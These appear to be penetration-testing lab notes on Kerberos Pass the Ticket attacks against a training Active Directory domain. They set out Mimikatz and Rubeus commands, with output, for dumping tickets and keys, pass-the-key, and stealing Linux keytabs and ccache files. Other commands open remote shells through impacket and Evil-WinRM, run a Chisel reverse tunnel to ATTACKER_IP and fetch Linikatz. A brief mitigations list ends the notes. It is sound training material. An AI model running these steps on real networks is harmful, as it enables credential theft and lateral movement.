Pass the Ticket (PtT) Attacks
A Pass the Ticket (PtT) attack uses a stolen Kerberos ticket to move laterally in an Active Directory environment instead of an NTLM password hash. This technique leverages the Kerberos authentication protocol to access resources without needing the user’s plaintext password.
Kerberos Protocol Overview
The Kerberos authentication system is ticket-based. Instead of giving an account password to every service, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service.
Key Components
| Component | Description |
|---|---|
| TGT (Ticket Granting Ticket) | First ticket obtained on a Kerberos system. Permits the client to obtain additional Kerberos tickets (TGS). |
| TGS (Ticket Granting Service) | Requested by users who want to use a service. Allows services to verify the user’s identity. |
| KDC (Key Distribution Center) | Issues tickets to clients. Usually runs on the Domain Controller. |
Authentication Flow
- User requests a TGT by authenticating to the DC (encrypting current timestamp with their password hash)
- DC validates the user’s identity by decrypting the timestamp (DC knows the user’s password hash)
- DC sends the user a TGT for future requests
- User presents TGT to request TGS for specific services
- User presents TGS to the target service for authentication
Once the user has their TGT, they do not have to prove who they are with their password again.
Prerequisites
To perform a Pass the Ticket attack, you need a valid Kerberos ticket:
- Service Ticket (TGS) - Allows access to a particular resource
- Ticket Granting Ticket (TGT) - Can be used to request service tickets for any resource the user has privileges to access
Tickets are processed and stored by the LSASS (Local Security Authority Subsystem Service) process. As a non-administrative user, you can only get your own tickets. As a local administrator, you can collect all tickets on the system.
Harvesting Kerberos Tickets
Using Mimikatz
Export all tickets from the system:
c:\tools> mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 329278 (00000000:0005063e)
Session : Network from 0
User Name : DC01$
Domain : HTB
Logon Server : (null)
Logon Time : 7/12/2022 9:39:55 AM
SID : S-1-5-18
* Username : DC01$
* Domain : inlanefreight.htb
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
[00000000]
Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
Target Name (--) : @ inlanefreight.htb
Client Name (01) : DC01$ ; @ inlanefreight.htb
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...]
* Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !
Group 2 - Ticket Granting Ticket
The result is a list of .kirbi files containing the tickets.
Ticket Naming Convention:
- Tickets ending with
$correspond to computer accounts - User tickets:
[randomvalue]-username@service-domain.local.kirbi - Tickets with service
krbtgtcorrespond to the TGT for that account
Using Rubeus
Export tickets in Base64 format (use /nowrap for easier copy-paste):
c:\tools> Rubeus.exe dump /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Action: Dump Kerberos Ticket Data (All Users)
[*] Current LUID : 0x6c680
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : DC01$
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:39:54 AM
EndTime : 7/12/2022 7:39:54 PM
RenewTill : 7/19/2022 9:39:54 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
Base64EncodedTicket : doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lh...
Note: Mimikatz version 2.2.0 20220919 may show all hashes as des_cbc_md4 on some Windows 10 versions. Exported tickets may not work correctly. Use Rubeus as an alternative.
Pass the Key / OverPass the Hash
This technique converts a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a full TGT.
Extract Kerberos Keys with Mimikatz
c:\tools> mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session : Interactive from 1
User Name : plaintext
Domain : HTB
Logon Server : DC01
Logon Time : 7/12/2022 9:42:15 AM
SID : S-1-5-21-228825152-3134732153-3833540767-1107
* Username : plaintext
* Domain : inlanefreight.htb
* Password : (null)
* Key List :
aes256_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
rc4_hmac_nt 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_md4 3f74aa8f08f712f09cd5177b5c1ce50f
Mimikatz - Pass the Key
Using NTLM hash (RC4):
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
user : plaintext
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f
| PID 1128
| TID 3268
| LSA Process is now R/W
| LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
\_ rc4_hmac_nt OK
\_ *Password replace @ 000001C7E2136BC8 (32) -> null
This spawns a new cmd.exe window in the context of the target user.
Rubeus - Pass the Key (asktgt)
Using AES-256 hash:
c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] Base64(ticket.kirbi):
doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC...
[+] Ticket successfully imported!
Pass the Ticket
Rubeus - Import .kirbi File
c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
...
Rubeus - Import Base64 Ticket
Convert .kirbi to Base64:
PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQ...
Import Base64 ticket:
c:\tools> Rubeus.exe ptt /ticket:doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQ...
[+] Ticket successfully imported!
Mimikatz - Pass the Ticket
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK
mimikatz # exit
Bye!
c:\tools> powershell
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
Rubeus - Sacrificial Process for Lateral Movement
Using createnetonly creates a sacrificial process/logon session (Logon type 9), equivalent to runas /netonly. This prevents erasure of existing TGTs for the current logon session.
Create Sacrificial Process
C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
[*] Action: Create process (/netonly)
[*] Using random username and password.
[*] Showing process : True
[*] Username : JMI8CL7C
[*] Domain : DTCDV6VL
[*] Password : MRWI6XGI
[+] Process : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1556
[+] LUID : 0xe07648
Request TGT and Import in Sacrificial Process
From the new cmd window:
C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
[+] TGT request successful!
[+] Ticket successfully imported!
C:\tools> powershell
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
Summary of Key Commands
| Tool | Command | Purpose |
|---|---|---|
| Mimikatz | sekurlsa::tickets /export | Export all tickets to .kirbi files |
| Mimikatz | sekurlsa::ekeys | Extract Kerberos encryption keys |
| Mimikatz | kerberos::ptt <file.kirbi> | Import ticket into current session |
| Rubeus | dump /nowrap | Dump all tickets in Base64 |
| Rubeus | asktgt /user:<user> /domain:<domain> /aes256:<hash> /ptt | Request TGT with hash and import |
| Rubeus | ptt /ticket:<file or base64> | Import ticket into current session |
| Rubeus | createnetonly /program:cmd.exe /show | Create sacrificial logon session |
Pass the Ticket from Linux
Linux computers connected to Active Directory commonly use Kerberos for authentication. If you compromise a Linux machine connected to AD, you can find Kerberos tickets to impersonate other users.
Note: A Linux machine doesn’t need to be domain-joined to use Kerberos tickets. Scripts and applications can use Kerberos to authenticate to the network.
Kerberos Ticket Storage on Linux
| Storage Type | Location | Description |
|---|---|---|
| ccache files | /tmp/krb5cc_* | Default ticket cache files, location stored in KRB5CCNAME environment variable |
| Keytab files | /etc/krb5.keytab or custom | Contains Kerberos principals and encrypted keys for passwordless authentication |
| SSSD cache | /var/lib/sss/db/ | Used by SSSD for caching credentials |
Identifying AD Integration
Check if the Linux machine is domain-joined:
# Using realm
david@linux01:~$ realm list
inlanefreight.htb
type: kerberos
realm-name: INLANEFREIGHT.HTB
domain-name: inlanefreight.htb
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
login-formats: %U@inlanefreight.htb
permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
permitted-groups: Linux Admins
Check for SSSD or Winbind services:
david@linux01:~$ ps -ef | grep -i "winbind\|sssd"
root 2140 1 0 Sep29 ? 00:00:01 /usr/sbin/sssd -i --logger=files
root 2141 2140 0 Sep29 ? 00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root 2142 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root 2143 2140 0 Sep29 ? 00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
Finding Keytab Files
Search for keytab files:
david@linux01:~$ find / -name *keytab* -ls 2>/dev/null
131610 4 -rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
262169 4 -rw-rw-rw- 1 root root 216 Oct 12 15:13 /opt/specialfiles/carlos.keytab
Check for keytab references in cron jobs:
david@linux01:~$ crontab -l
# Ticket renewal
kinit -k -t /home/carlos@inlanefreight.htb/.scripts/kerberos/.]carlos.keytab carlos@inlanefreight.htb
Listing Keytab File Principals
david@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB
Impersonating a User with Keytab
# Check current ticket
david@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:02:11 10/07/22 03:02:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
# Import keytab (kinit is case-sensitive!)
david@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
# Verify new ticket
david@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:16:11 10/07/22 03:16:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
Access resources as the impersonated user:
david@linux01:~$ smbclient //dc01/carlos -k -c ls
. D 0 Thu Oct 6 14:46:26 2022
.. D 0 Thu Oct 6 14:46:26 2022
carlos.txt A 15 Thu Oct 6 14:46:54 2022
Tip: Save your current ccache file before importing a keytab:
cp $KRB5CCNAME /tmp/krb5cc_backup
Extracting Hashes from Keytab Files
Use KeyTabExtract to extract hashes for offline cracking:
david@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4
With these hashes you can:
- Perform Pass the Hash with the NTLM hash
- Forge tickets using AES256/AES128 with Rubeus
- Attempt to crack the hashes offline
Note: A keytab file can contain multiple credentials from different users.
Finding ccache Files
ccache files are stored in /tmp by default:
david@linux01:~$ ls -la /tmp/krb5cc_*
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
Check the environment variable for custom locations:
david@linux01:~$ echo $KRB5CCNAME
Using ccache Files
Set the KRB5CCNAME variable to use a specific ccache file:
# As root, use another user's ccache
root@linux01:~# export KRB5CCNAME=/tmp/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/tmp/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 13:25:01 10/07/2022 23:25:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
# Access resources
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
$Recycle.Bin DHS 0 Wed Oct 6 17:31:14 2021
Documents and Settings DHSrn 0 Wed Oct 6 20:38:04 2021
Program Files DR 0 Wed Oct 6 20:50:50 2021
Users DR 0 Thu Oct 6 11:46:05 2022
Windows D 0 Wed Oct 5 13:20:00 2022
Note: ccache files are temporary and may expire or change during login/logout operations. Check “Valid starting” and “Expires” times with klist.
Using Linux Attack Tools with Kerberos
Many Linux tools support Kerberos authentication. Set KRB5CCNAME to point to your ccache file.
Prerequisites for Non-Domain-Joined Attack Hosts
- Configure
/etc/hoststo resolve domain names:
$ cat /etc/hosts
172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01
- Set up a SOCKS proxy (e.g., with Chisel) if needed:
# On attack host
$ sudo ./chisel server --reverse
# On pivot host (MS01)
C:\> chisel.exe client ATTACKER_IP:8080 R:socks
- Configure proxychains:
$ cat /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
Using Impacket with Kerberos
# Set the ccache file
$ export KRB5CCNAME=/root/krb5cc_647401106_I8I133
# Use impacket tools with -k flag
$ proxychains impacket-wmiexec dc01 -k
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:445 ... OK
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio
Using Evil-WinRM with Kerberos
$ proxychains evil-winrm -i dc01 -r inlanefreight.htb
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:5985 ... OK
*Evil-WinRM* PS C:\Users\julio\Documents> whoami ; hostname
inlanefreight\julio
DC01
Converting Tickets Between Formats
Use impacket-ticketConverter to convert between ccache (Linux) and kirbi (Windows) formats:
ccache to kirbi
$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] converting ccache to kirbi...
[+] done
Import kirbi in Windows
C:\tools> Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\tools> klist
Cached Tickets: (1)
#0> Client: julio @ INLANEFREIGHT.HTB
Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Start Time: 10/10/2022 5:46:02 (local)
End Time: 10/10/2022 15:46:02 (local)
C:\tools> dir \\dc01\julio
Directory of \\dc01\julio
07/14/2022 04:18 PM 17 julio.txt
Linikatz
Linikatz is a tool for extracting credentials from Linux machines integrated with Active Directory (similar to Mimikatz for Windows).
Requirements: Must run as root.
Supported integrations: FreeIPA, SSSD, Samba, Vintella, and more.
$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
$ chmod +x linikatz.sh
$ sudo ./linikatz.sh
_ _ _ _ _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_ /
| | | | | | | < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|
=[ @timb_machine ]=
I: [sss-check] SSS AD configuration
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct 7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB
...
Linikatz extracts credentials and places them in a folder named linikatz.* containing ccache and keytab files.
Linux PtT Command Summary
| Command | Purpose |
|---|---|
realm list | Check if machine is domain-joined |
find / -name *keytab* -ls 2>/dev/null | Find keytab files |
klist -k -t <keytab> | List principals in keytab |
kinit <user> -k -t <keytab> | Import keytab and get TGT |
klist | List current Kerberos tickets |
export KRB5CCNAME=<ccache> | Set ccache file to use |
smbclient //<host>/<share> -k | Access SMB with Kerberos |
impacket-ticketConverter <in> <out> | Convert ccache/kirbi formats |
Mitigations
- Enable Credential Guard to protect LSASS
- Use Protected Users security group for sensitive accounts
- Implement Privileged Access Workstations (PAWs)
- Monitor for suspicious Kerberos activity (Event IDs 4768, 4769)
- Regularly rotate service account passwords
- Limit the lifetime of Kerberos tickets via Group Policy
- Restrict permissions on keytab and ccache files on Linux systems
- Use short-lived tickets and enforce ticket renewal